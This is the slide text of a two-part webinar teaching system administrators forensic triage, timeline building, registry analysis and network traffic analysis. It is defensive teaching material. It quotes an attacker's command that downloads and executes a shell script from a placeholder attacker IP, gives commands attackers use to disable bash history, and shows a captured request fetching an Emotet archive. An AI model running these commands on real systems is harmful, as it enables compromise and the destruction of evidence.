Forensics for System Administrators

From Suspicion to Detection, pt. 1

Stefan Kelm
WP8-T1

Webinar, 30th of November 2021

Public

www.geant.org
The Road Ahead: Forensics for System Administrators

- Organisation
  - Incident Response Workflow
  - Forensics Workflow
  - Forensic Principles
- From Suspicion to Detection
- Memory Acquisition
- Persistent Storage Acquisition
Before we begin: full disclosure!

• The following slides have been heavily stolen from inspired by Leif Nixon’s talk

“Introduction to Quick and Dirty Forensics”

Tack! :-)

• https://www.nixon-security.se/
So, you think you may have an incident?

• How do you know you might be dealing with a security incident?
  – Monitoring alarm (IDS, SIEM, AV, FW, …)
  – External alert (CERT, MSSP, …)
  – Your IP address(es) show up on blocklists or threat intelligence feeds
  – “Unusual” system behaviour / load / disk usage / “suspicious” network traffic
  – Admins, looking at log files
  – Information from a user ("Sorry, but I’ve clicked on that link...")
  – …

• So, you need to investigate? Let’s see…
  – there’s no formal process or definition for doing so
  – there’s a huge number of locations for possible indicators to look for
Our rule of thumb (for this session at least)

• Live Response → Collect first, analyze later

• Try to quickly collect as much data as possible on the running system

• Advantage
  − Volatile data (such as running processes, network connections, logon sessions, memory artefacts, ...) will be collected before they vanish

• Disadvantages
  − May alert an attacker
  − You are actually working on a potentially compromised (thus: not trustworthy) system
  − Will make changes to the system and possibly destroy evidence
Beware

• Observing an object changes the observed object (a.k.a "Every contact leaves a trace")
  – Often referred to as Locard's exchange principle
  – Each time you run a command, each time you read a file, you change timestamp information
  – Each time you write data to disk, you might overwrite previously freed data sectors

• Try to do the least intrusive investigation possible
• Don’t be overanxious, though!
Live Response: Incident triage

- Quickly look at things like
  - `ps`, `top`, `netstat`, `lsof`, `ss`, `arp`, `systemctl`, `last`, `lastlog`, `w`, `who`, `dmesg`, `uname`, `uptime`, ... (and, of course, their Windows/MacOS/... counterparts)
  - System logs
  - Command line histories

- Don’t do things like...
  - `rpm -Va`, `find / -name`, ...
  - Reboot the system
  - Kill suspect processes
  - Delete suspicious files/directories
  - Run an AV scan

- ...at least not yet!
Damn! We really have been hacked! :-) 

- Don’t panic
- Don’t panic
- Don’t panic
- Don’t panic
- Seriously: don’t panic!
- Quick, what’s the first thing you do?
  - Take a break. Grab a cup of coffee. Or tea. Or a can of soda. Or… (Beer is probably not a good idea, though.)
  - Take your time
  - Otherwise you will make mistakes...
  - Talk to others (but: no fingerpointing ever!)
    - communicate with victims, your users, management, partner sites and other security teams, and keep them all appropriately updated
Where do we want to go with this?

• Do you want to/have to go the legal route?
  – Do you want/need a “real forensic investigation” with evidence that will stand up in court?
  – A careful and thorough forensic investigation is hard to perform and takes a long time
  – This probably means that the forensic investigation should not be performed by you, but by a police technician or an outside expert
  – It also means that the rest of this presentation is not for you – thank you for your attention ;-)  

• Or is a “quick and dirty investigation” good enough for you?
  – All you want is to answer a few questions about the attack and clean up afterwards
  – But you will destroy evidence that way...

• You have to decide. Now.
  – There’s no turning back
One quick step back: remember the Incident Response Workflow?
Incident Response Workflow

- Workflow according to US NIST SP 800-61 rev 2

Preparation → Detection & Analysis → Containment, Erradiction & Recovery → Post-Incident Activity

We are here
Detection
Detection: our main goals

- We would like to know
  - Was it a targeted attack
    - often the first (and sometimes the only) question being asked by C*Os...
  - How the intruder(s) got in
  - When they did so
  - What they have been doing on the system
  - Which other systems/sites may have been hit
  - Has data been exfiltrated
  - ...

[Image]
Preparation: which tools to use during the investigation

- **Good**: you can use standard tools most of the time
  - **LOLBAS**: “Living Off The Land Binaries, Scripts and Libraries”
  - Trade-off as we cannot really trust the system under investigation, can we?
  - If the intruder has deployed a rootkit, we may be in trouble
- **A good idea is to have** “trusted” binaries (and libraries!) **prepared on an external thumb drive**
  - At least for the most common operating systems in use at your org
- **Sometimes special tools are needed**
- **Even better**: dedicated tool sets / forensics distributions
  - **DEFT, CAINE, SANS SIFT, KAPE, Kali Linux, ...**
  - **MS Sysinternals Suite**: >140 tools such as `procexp.exe`, `Autoruns.exe`, `PsLoggedon.exe`, `tcpview.exe`, ...
Preparation: where to store the findings you collect

- There’s no “one size fits all” (a.k.a. “it depends”)...
- Push findings onto the network to a connected system
  - Target system (“server1”): `nc -l 1234 >> host1_analysis.txt`
  - System under investigation (“host1”):
    `netstat -v -W -e -o -p -n | nc -w 2 server1 1234`
- Collect findings on an external device, such as a thumb drive
- Collect findings on `tmpfs`, etc.
- If you really have to store the findings on the investigated system use a dedicated directory with a meaningful name
  - e.g. `/tmp/2021-11-12_ANALYSIS/...`
Let’s go

- Always try to check the network status first
  - `netstat -v -W -e -o -p -n` (or similar)
  - `ss -o -e -p -i -n` (or similar)
  - `arp -a`
  - ...
- Copy-n-paste the output from the terminal window to a local file (again, if possible)
- Then isolate the system, if possible
  - unplug the network cable
  - introduce a router/firewall filter
  - cut the power (?)
  - whatever is easiest/most appropriate...
- If this is a virtual machine, snapshot it
Let the investigation begin

- Do you remember the “Order of Volatility”?  
  - There are various types of data in the system, with widely varying expected lifetimes
- Basically, you should follow the Order of Volatility when collecting data
## Order of Volatility

<table>
<thead>
<tr>
<th>Item</th>
<th>Avg. lifetime</th>
</tr>
</thead>
<tbody>
<tr>
<td>Registers</td>
<td>Nanoseconds</td>
</tr>
<tr>
<td>Cache lines</td>
<td></td>
</tr>
<tr>
<td>Processes</td>
<td>Seconds - Minutes</td>
</tr>
<tr>
<td>Sockets</td>
<td>Seconds - minutes</td>
</tr>
<tr>
<td>Open files</td>
<td></td>
</tr>
<tr>
<td>Active Users</td>
<td>Minutes - Hours</td>
</tr>
<tr>
<td>Network configuration</td>
<td></td>
</tr>
<tr>
<td>Registry (or other system config. DB)</td>
<td></td>
</tr>
<tr>
<td>Files (closed)</td>
<td>Hours - Days</td>
</tr>
<tr>
<td>Unused blocks</td>
<td></td>
</tr>
<tr>
<td>Slack space</td>
<td></td>
</tr>
<tr>
<td>Partitions</td>
<td></td>
</tr>
<tr>
<td>Hard disks</td>
<td>Months</td>
</tr>
</tbody>
</table>

### Live response
- Data usually lives in main memory
- Will be lost on reboot/power-off
- Or lost when pulling the plug from the network (timeouts)

### Post mortem analysis
- Data in non-volatile storage
- Survives reboots
  - Caveat: Filesystems in main memory do not survive reboots
Let the investigation begin

- Do you remember the “Order of Volatility”?
  - There are various types of data in the system, with widely varying expected lifetimes

- Basically, you should follow the Order of Volatility when collecting data

- With one exception: filesystem timestamp data
  - This is often the most important data, and you want to capture it early in the investigation
  - By collecting and sorting timestamp data from the entire filesystem, you can sometimes gain surprising insights into past activities
  - Yes, timestamps may be easily tampered with (except ctime) but anyway...
Types of timestamps (a.k.a. MAC times)

- Depending on the file system files usually carry the first 3 of:
  - `mtime` – modification time; the last time the contents (data blocks) of a file changed
    - often called “last write time”
  - `atime` – access time; the last time the file was read
    - that also means: when a binary was executed
  - `ctime` – change time; the last time one of the attributes in the inode changed
    - e.g., when the file was moved, the owner changed, permissions changed, ...
    - but can also tell us when a file was created
  - `crtime/btime` – creation ("born") time (ext4, NTFS)
  - `dtime` – deletion time; recorded in deleted inodes (extX)

- Did you know?
  - If a file is deleted, the MAC times remain unless the inode is re-used
So, let’s create a timeline

- Quick and dirty
  - run `stat` on every file on the mounted system
  - `find / -xdev -print0 | xargs -0 stat -c "%Y %X %Z %A %U %G %n" >> timestamps.dat`
  - `timeline-decorator.py < timestamps.dat | \ sort -n > timeline.txt`

- However
  - Overwrites any `atime` on the system :-(
  - Won’t find deleted files
  - Be careful about where you store `timestamps.dat` and `timeline.txt`
  - What if there’s a rookit on the system?
So, let’s create a better timeline

• Using TSK (“The Sleuthkit”)
  - Reads the raw device (or a disk image, e.g., created by `dd`)
  - `fls -r -m / /dev/sda1 > rootfs.body`
  - `mactime -b rootfs.body > rootfs.timeline`

• Cool things about TSK
  - Does not change anything on the investigated system
  - Finds deleted inodes and directory entries
  - Is not affected by rootkits and will, e.g., find hidden files

• However
  - You have to have the TSK binaries on the system, or make an image of the disk
  - Not all file systems are supported
  - Has a number of known issues (e.g., no time zone is indicated)
  - It’s easy to forget other mount points, such as `/boot`, `/tmp`, ...
A first glance at the timeline

Tue Aug 16 2011 14:03:15 .a. r-xr-xr-x root root /usr/bin/w
Tue Aug 16 2011 14:03:28 .a. rwxr-xr-x root root /usr/bin/curl
Tue Aug 16 2011 14:03:36 .a. rwxr-xr-x root root /usr/bin/bzip2
Tue Aug 16 2011 14:04:41 .a. rwxr-xr-x root root /usr/bin/shred
Tue Aug 16 2011 14:06:26 .a. rw-r--r-- root root /usr/include/crypt.h
Tue Aug 16 2011 14:07:25 m.. rwxrwxr-x x_lenix x_lenix /var/tmp/...
Let’s take this even further: super timelines
What we’d **really** love to see in a timeline, though…

- Not only files carry timestamps …
- … there are **lots** of other sources for timestamps such as
  - meta-data embedded *within* files (e.g. compile time, pdf_createdate, last printed, …)
  - Windows Event Logs
  - LastWrite timestamps of Windows Registry keys
  - web-browsing and e-mail artefacts
  - database timestamps
  - contained within (server, proxy, …) log files
  - network captures
  - meta-data from the file system itself (e.g., Journal)
  - …
- You **really** want to combine all of those into a “super timeline”
  - Or, do you?
Meet plaso (log2timeline)

• “super timeline all the things”
  - “The initial purpose of Plaso was to collect all timestamped events of interest on a computer system and have them aggregated in a single place for computer forensic analysis (aka Super Timeline).”
  - Like TSK, reads the raw device (or a disk image, e.g., created by dd)
    • log2timeline.py --storage-file timeline.plaso image.dd
    • psort.py -w events.csv timeline.plaso
    • psteal.py --source image.dd -w events.csv
  - Comes with lots of parsers for different operating systems/sources
    • Provided by an awesome open-source community
Meet plaso (log2timeline)

- **Using plaso**
  - Supports *collection filters* when you already know which files are relevant for your analysis
    - `log2timeline.py --artifact-filters WindowsEventLogSystem ...`
  - Supports *event filters* for selective analysis using `psort.py`
    - `... parser is 'syslog' and body contains 'root' ...`
  - Supports *time slices*
    - `psort.py -q --slice "2021-09-20T16:13:02" timeline.plaso`
  - Supports *tags*
    - `... data_type is 'windows:registry:run' AND (entries contains '.exe' OR entries contains '.dll') ...`
<table>
<thead>
<tr>
<th>Name</th>
<th>Parsers and plugins</th>
</tr>
</thead>
<tbody>
<tr>
<td>android</td>
<td>android_app_usage, chrome_cache, filestat, sqlite/android_calls, sqlite/android_sms, sqlite/android_webview, sqlite/android_wexviewcache, sqlite/chrome_8_history, sqlite/chrome_17_cookies, sqlite/chrome_27_history, sqlite/chrome_66_cookies, sqlite/skype</td>
</tr>
<tr>
<td>linux</td>
<td>apt_history, bash_history, bencode, czip/xml, dockerjson, dpkg, filestat, gdrive_synclog, googlelog, olecf, pls_recall, popularity_contest1, selinux, sqlite/google_drive, sqlite/skype, sqlite/zeitgeist, syslog, systemd_journal, utmp, vsftpd, webhist, xchatlog, xchatscrollback, zsh_extended_history</td>
</tr>
<tr>
<td>macos</td>
<td>asl_log, bash_history, bencode, bsm_log, cups_ipp, czip/xml, filestat, fseventsd, gdrive_synclog, mac_appfirewall_log, mac_keychain, mac_securityd, macwifi, olecf, plist, spotlight_storedb, sqlite/appusage, sqlite/google_drive, sqlite/imessage, sqlite/ls_quarantine, sqlite/mac_document_versions, sqlite/mac_notes, sqlite/mackeeper_cache, sqlite/mac_knowledgegc, sqlite/skype, syslog, utmpx, webhist, zsh_extended_history</td>
</tr>
<tr>
<td>webhist</td>
<td>binary_cookies, chrome_cache, chrome_preferences, esedb/msie_webcache, firefox_cache, java_idx, msiecf, opera_global, opera_TYPED_history, plist/safari_history, sqlite/chrome_8_history, sqlite/chrome_17_cookies, sqlite/chrome_27_history, sqlite/chrome_66_cookies, sqlite/chrome_autofill, sqlite/chrome_extension_activity, sqlite/firefox_cookies, sqlite/firefox_downloads, sqlite/firefox_history, sqlite/safari_historydb</td>
</tr>
<tr>
<td>win7</td>
<td>custom_destinations, esedb/file_history, olecf/olecf_automatic_destinations, recycle_bin, winevtx, win_gen</td>
</tr>
<tr>
<td>win7_slow</td>
<td>esedb, mft, win7</td>
</tr>
<tr>
<td>win_gen</td>
<td>bencode, czip/xml, filestat, gdrive_synclog, Ink, mcafee_protection, olecf, pe, prefetch, setupapi, sccm, skydrive_log, skydrive_log_oid, sqlite/google_drive, sqlite/skype, symantec_scanlog, usnjrnl, webhist, winfirewall, winjob, winreg</td>
</tr>
<tr>
<td>winxp</td>
<td>recycle_bin_info2, rplog, win_gen, winevt</td>
</tr>
<tr>
<td>winxp_slow</td>
<td>esedb, mft, winxp</td>
</tr>
<tr>
<td>date</td>
<td>time</td>
</tr>
<tr>
<td>------------</td>
<td>----------</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:11</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:11</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:14</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:14</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:14</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:15</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:15</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:15</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:15</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:15</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:20</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
<tr>
<td>8/2014</td>
<td>17:45:21</td>
</tr>
</tbody>
</table>
Now: what to investigate during live response?
Further investigations: just a few examples...

- Depending on the nature of the case
  - Processes, process trees
  - Open files and sockets
  - Users / user activity
  - (Windows) Registry
  - Log files
  - Packages installed
  - Binaries replaced
  - (cron) jobs
  - Temporary files
  - Deleted files
  - Malicious files
  - Bash history
  - System state and configuration
  - Memory
  - ...
Further investigations: users/accounts

• Examples
  - `last`, `lastb`, `lastlog`, `who`, `w`
  - `loginctl list-sessions` (if `systemd` is in use)

• Check for
  - Currently logged in users
  - Failed logins
  - Latest logins per user
  - New users and/or groups
    • esp. users with UID 0 / belonging to the `Domain Admin` group
Further investigations: processes

- **Examples**
  - `ps auxwwwe`
  - `pstree -a -l -p -u -Z`

- **Look for duplicate system processes**
  - However, do you know how many `svchost.exe` need to run on Windows?

- **Look at the process IDs**
  - System process IDs usually are “close to one another” and carry a low number

- **Look for strange cmdline arguments/paths**
  - `/tmp/vi 5000 1500 192.168.1.54`?

- **Look for “weird” inheritances**
  - `Winword.exe` starting `cmd.exe`, starting `powershell.exe`?
Further investigations: temporary files

• It is surprising how often you will find temporary files
• May contain artefacts left over/forgotten about by the attacker
  – Intermediate steps performed by the attacker, such as archives downloaded by the attacker before extraction/compilation/...
    
      root@xen:~# ls -latrcR /tmp/.X303-unix/
      /tmp/.X303-unix/: 
      insgesamt 5224
      drwxr-xr-x 3 1000 1000 4096 Jun 21 21:22 .
      -rw-r--r-- 1 1000 1000 994 Jun 21 21:22 .out
      drwxr-xr-x 5 1000 1000 4096 Jun 21 21:22 .rsync
      -rw-r--r-- 1 1000 1000 5331741 Jun 22 00:42 dota3.tar.gz
      drwxrwxrwt 9 root root 4096 Jun 22 11:20 ..

  – Payload being placed by the attacker

      wget https://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

  – Sometimes easy to overlook: /tmp/...

  – Often found at the usual (world-writable) locations
    /tmp/, /var/tmp/, %WINDIR%\temp, C:\Recycler\
Further investigations: bash history

- Can by a **very** useful resource during Linux/Unix investigations
  - You virtually look over the attacker’s shoulder
  - Doesn’t contain timestamps, though
- Unfortunately, can be (and sometimes is) turned off by the attacker
  - `unset HISTFILE`
  - `set +o history / history -c`
  - `ssh -T user@host /bin/bash -i` (no TTY allocation)
- **bash**’s process memory also carries a history
  - Which even contains timestamps!

<table>
<thead>
<tr>
<th>Pid</th>
<th>Name</th>
<th>Command Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>2738</td>
<td>bash</td>
<td>2019-08-09 21:28:13 UTC+0000</td>
<td>dmesg</td>
</tr>
<tr>
<td>2738</td>
<td>bash</td>
<td>2019-08-09 21:51:28 UTC+0000</td>
<td>df</td>
</tr>
<tr>
<td>2738</td>
<td>bash</td>
<td>2019-08-09 21:51:50 UTC+0000</td>
<td>dmesg</td>
</tr>
<tr>
<td>2738</td>
<td>bash</td>
<td>2019-08-09 21:51:58 UTC+0000</td>
<td>sudo mount /dev/sda1 /mnt</td>
</tr>
</tbody>
</table>
Can’t we automate all this?

• Well, you certainly can, but
  – You may do more harm by using (awesome) tools such as ir-rescue
  • “ir-rescue is composed of two sister scripts that collect a myriad of forensic data from 32-bit and 64-bit Windows systems (ir-rescue-win) and from Unix systems (ir-rescue-nix). The scripts respect the order of volatility and artifacts that are changed with the execution (e.g., prefetch files on Windows) and are intended for incident response use at different stages in the analysis and investigation process.”
  • “It should be noted that the scripts launch a great number of commands and tools, thereby leaving a considerable footprint (e.g., strings in the memory, prefetch files, program execution caches) on the system.”
    (This is absolutely not meant as criticizing ir-rescue or it’s author!)
  – Does the investigation in question really need all that stuff?
What’s next?

- Now, that you’ve collected all these valuable artefacts...
Forensics for System Administrators

From Suspicion to Detection, pt. 2

Stefan Kelm
WP8-T1

Webinar, 2nd of December 2021

Public

www.geant.org
Analysis

- **Goal**: drawing conclusions from the data collected in previous steps
- But please remember
  - Data from compromised systems will (very likely) be forged
  - Data will (most probably) be incomplete
  - "Everything is heresay"
    - Unless proven from independent, trustworthy sources
- Results will always have a certain degree of uncertainness
  - Hence a compromise can’t be 100% ruled out, even if all results are negative
    - *You can only “prove” that the system has been compromised, you cannot prove the opposite*
  - More data might have to be collected...
Let’s look at some analysis examples

• Analyse the timeline
• Analyse the Windows Registry
• Analyse network traffic
• Use Threat Intelligence
  – Search for *Indicators Of Compromise* (IoCs)
    • Artefacts, that may point to the compromise of a system
    • E. g. the checksum of a file matches that of a known malware, new accounts, etc.
Timeline Analysis
Now, let's have a look at our (super) timeline

- Why timelines in the first place?
  - "relationships between events are more important than the events themselves"
- Or, to put it differently
  - "Think of a timeline as if it were the outline to a story."
- The real strength of timelines is correlation
  - In many, if not most, investigations, an alert or event that happened at a particular point in time raises suspicion and leads to the analysis in the first place
  - e.g., your AV alerts you about an infection → you will want to know what happened on the system immediately prior to the AV alert
    - a suspect URL was accessed
      → a directory was created in the filesystem
      → an executable file was dropped in that directory
      → a Windows Registry key was being created
      → "suspicious" network traffic showed up in logs...
“The outline to a story”
Challenges in timeline analysis

- Don’t forget: you’re only seeing the last timestamp
- Not seeing any atimes in your timeline? :-(
  - Linux: filesystem may have been mounted with the noatime option (have a look at fstab)
  - Windows: the NtfsDisableLastAccessUpdate key may have been set in the Registry
    • (this was the default from Windows XP SP3/Vista until fairly recently!)

- Do you know the nitty-gritty details?
  - “The NTFS file system stores time values in UTC format, so they are not affected by changes in time zone or daylight saving time.”
  - “The FAT file system stores time values based on the local time of the computer.”
  - “The resolution of create time on FAT is 10 milliseconds, while write time has a resolution of 2 seconds and access time has a resolution of 1 day, so it is really the access date.”
  - “The NTFS file system delays updates to the last access time for a file by up to 1 hour after the last access.”

→ This has implications, especially if you’re investigating multiple hosts in a case

(These are quotes from https://docs.microsoft.com/en-us/windows/win32/sysinfo/file-times)
Challenges in timeline analysis

- Interpreting what you see
  - Seeing a lot of file system activity within a very short period of time?
    - Damn, it’s a ransomware, encrypting our files!
    - Or, maybe, it is just patch tuesday or the scheduled backup? Phew...
  - Baselining is important: know your systems/your traffic!
    - But it’s also very hard to do

- Remember LOLBAS?
  - Attacker frequently use “Living Off The Land Binaries, Scripts and Libraries”, too
  - Would you detect that usage?
  - Have a look at https://lolbas-project.github.io/ to see some mis-use examples
Parsing time (challenges, ctd.)

- During an investigation you will find many representations of timestamps
- Do you (or your forensics tool) see that the following are actually **identical** timestamps?
  - 1585699200
  - Wednesday 1st April 2020 00:00:00 +00:00 UTC
  - 2020-04-01 00:00:00
  - Wednesday, Apr 01st 2020
  - Wednesday 01st of April 2020
  - April 01, 2020
  - 01-Apr-2020
  - 04-01-2020
  - 2020-04-01
  - Wed, 01 Apr 20 00:00:00 +0200
  - 2020-04-01T00:00:00+0200
  - 01/04/2020
Do you recognize a timestamp when you see one?

- `https://twitter.com/DFNCERT/status/1458376174242082818`
  - Wait, there's a timestamp in that URL?
Challenges, ctd.

• More caveats of timeline analysis
  – **Time zones** and **daylight savings** are surprisingly easy to confuse/forget (esp. when being warned from someone in a foreign country)
  – Accuracy and precision (some tools tend to normalize date and time values)
    • e.g., seconds (TSK) vs. microseconds (plaso/log2timeline)
  – Clock drifts and shifts (usually not a big deal anymore, but…)
  – Date and time manipulation

• However: relevance of the above in reality?

• Information overload!
  – Super timelines easily consist of tens of millions of entries...
  – ...but do you know what information you need in order to answer the question?
You don’t like wading through timelines?

- Well, here’s timesketch
Quick digression: analysing the Windows Registry

- Most people do not but forensicators love the Windows Registry ;-)
- Contains so many useful artefacts
  - Even timestamps (last written)
  - Most malicious software samples will “do” something within the registry
    - Store itself inside the Registry instead of the file system
    - Store its configuration, encryption keys, ...
    - Set autorun keys to survive reboot (persistance)
  - Volume Shadow Copies (VSS) allow you to “travel back in time”
    - Especially useful to find out when a registry key was first written
    - May be turned off, though
    - Will vanish after some time...
- Analysing the Registry is quite cumbersome, though
  - do you remember/know all those interesting Registry locations?
RegRippy / RegRipper to the rescue

- "RegRippy is a framework for reading and extracting useful forensics data from Windows registry hives."
  - Works on raw (extracted) Registry files (e.g., `NTUSER.DAT`)
  - Comes with lots of plugins (`run.py`, `typedurls.py`, `recentdocs.py`, ...)
  - Outputs to text report and/or STDOUT

- Example
  - `$ regrip.py -v --root /mnt/evidence/C --all-user-hives typedurls`

```
regrip.py:info:Administrator
regrip.py:warn:Could not open key Software\Microsoft\Internet Explorer\TypedURLs
regrip.py:info:John
https://google.com/?q=how+to+wipe+files
```
RegRippy / RegRipper to the rescue

![Image of RegRipper window]

- Hive File: C:sam
- Report File: C:UsersSKS19Desktopsamreport.txt

Transaction logs: The tool will check to see if the hive is dirty.

- Hive is not dirty.
- Logging to C:UsersSKS19Desktopsamreport.log
- Hive type: sam
- Getting list of plugins based on hive type...
  - Done
- Start rippin...
  - samparse...Done
- 0 plugins completed with errors.

![Image of command output]

- Username: WDAGUtilityAccount [504]
- Full Name: A user account managed and used by
- Account Type:
- Account Created: 2020-06-27 13:44:01Z
- Name: Never
- Last Login Date: Never
- Pwd Reset Date: 2020-06-27 13:42:35Z
- Pwd Fail Date: Never
- Login Count: 0
- Embedded RID: 504
- Account Disabled
- Normal user account

- Username: SKS19 [1001]
- Full Name: SHUBHAM KUMAR SHARMA
- User Comment:
- Account Type:
- Account Created: 2020-06-27 14:00:47Z
- Name: SHUBHAM KUMAR SHARMA
- InternetName: Sk...sk@outlook.com
- Last Login Date: Never
- Pwd Reset Date: 2020-06-27 14:01:10Z
- Pwd Fail Date: Never
- Login Count: 0
- Embedded RID: 1001
- Password does not expire
- Normal user account
Speaking about autorun locations

- Most people know about keys such as
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  - HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
  - ...

- Have a guess: what do you think, how many **autorun** locations are there on a “modern” Windows system?
Speaking about autorun locations

• Most people know about keys such as
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  - HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
  - ...

• Have a guess: what do you think, how many autorun locations are there on a “modern” Windows system?
  - 3? 12? 25? ... ? No, way more than 100!
  - And it’s not only about the Registry; have you ever heard about “phantom DLLs”?

• Interested in learning more about this?
  - Check out the “Beyond good ol’ Run key, Part x” blog series over at https://www.hexacorn.com/blog/
Traffic Analysis
So, it’s a network related incident?

- The challenge: Distinguishing regular traffic from suspicious/malicious traffic
  1. Baselining of “normal” traffic is a key
     - Has to be done beforehand
     - Has to be adapted every now and then
  2. Goal: try to detect intrusions such as
     - Scans (port scans, system enumerations, ...)
     - Probes (server version probes, password probes, ...)
     - Lateral movement (connections between systems that typically do not communicate with each other, or at unusual times, ...)
     - Data exfiltration (Ransomware as the omnipresent threat: how did they manage to move 60 GB of data outside of our network?)
Network indicators on different levels

- Traffic data can be a very useful addition to host-based artefacts (even when the traffic itself is encrypted)
  - Packet captures (wireshark/tshark, tcpdump, ...)
    - may contain URLs, exploit payloads, usernames and passwords, etc.
    - should be taken to achieve a specific investigation objective and not as a broad measure
  - Network flows (NetFlow, IPFIX, Argus, ...)
    - usually are used to gain a “general picture” of what is going on in a network (statistics, meta-data)
    - never contain packet payload data
    - can be sampled, i.e. not all traffic is evaluated but only every n-th packet
    - may therefore not contain certain activities of the attacker
  - Logs from firewalls, switches, router, NIDS, ...
  - Network taps
    - a full capture of suspicious traffic may be needed during an investigation and thus, there should be provisions so that on-demand capturing of traffic can be carried out
Many (all?) of you will know Wireshark

- “Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard...”
  - free protocol analyzer that can record and display packet captures (PCAPs) of network traffic
  - extremely widely in use and very powerful
  - very customizable, too
### GET /shop/wp-admin/PP/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1320
Host: vistene.mx
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2021 22:44:12 GMT
Server: Apache/2.4.51 (OpenSSL/1.0.2k-fips)
X-Powered-By: PHP/7.2.34
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Mon, 15 Nov 2021 22:44:12 GMT

Content-Disposition: attachment; filename="emotet-r320.4x84.zip"
Content-Transfer-Encoding: Binary
Set-Cookie: __cfduid=d32e5d8c3b0eae1637816252d; expires=Mon, 15-Nov-2021 22:44:12 GMT; Max-Age=168; path=/
Upgrade: h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Mon, 15 Nov 2021 22:44:12 GMT
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked

```
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2021 22:44:12 GMT
Server: Apache/2.4.51 (OpenSSL/1.0.2k-fips)
X-Powered-By: PHP/7.2.34
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Mon, 15 Nov 2021 22:44:12 GMT

Content-Disposition: attachment; filename="emotet-r320.4x84.zip"
Content-Transfer-Encoding: Binary
Set-Cookie: __cfduid=d32e5d8c3b0eae1637816252d; expires=Mon, 15-Nov-2021 22:44:12 GMT; Max-Age=168; path=/
Upgrade: h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Mon, 15 Nov 2021 22:44:12 GMT
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked

```

You should customize Wireshark to your needs.

https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/
Prefer the command line?

- **tshark (CLI to wireshark)**
  - $ tshark -i wlan0 -Y http.request -T fields -e http.host -e http.user_agent
  
  searchdns.netcraft.com Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
  searchdns.netcraft.com Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
  ads.netcraft.com Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0

- **tcpdump**
  - $ tcpdump -A -i eth0 dst 192.168.0.1 and port 22 -w eth0_dump_20180801.pcap

- Combine that with
  - grep, sed, awk, tail, ...

- ... and you’re good ...
  - especially if you’re an expert in working with regular expressions ;-)
But have you heard of Xplico?

• Main features
  – “The goal of Xplico is extract from an internet traffic capture the applications data contained. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
  – ... isn’t a network protocol analyzer. Xplico is an open source Network Forensic Analysis Tool (NFAT).
  – ... is installed in the major distributions of digital forensics and penetration testing”

• May be more fitting for you than Wireshark
  – Still being actively maintained, though?
  – Last activity May, 2019
Xplico Interface

For a complete view of html page set your browser to use Proxy, and point it to Web server.

Web URLs:  HTML Image Flash Video Audio All

<table>
<thead>
<tr>
<th>Date</th>
<th>Url</th>
<th>Size</th>
<th>Method</th>
<th>Info</th>
</tr>
</thead>
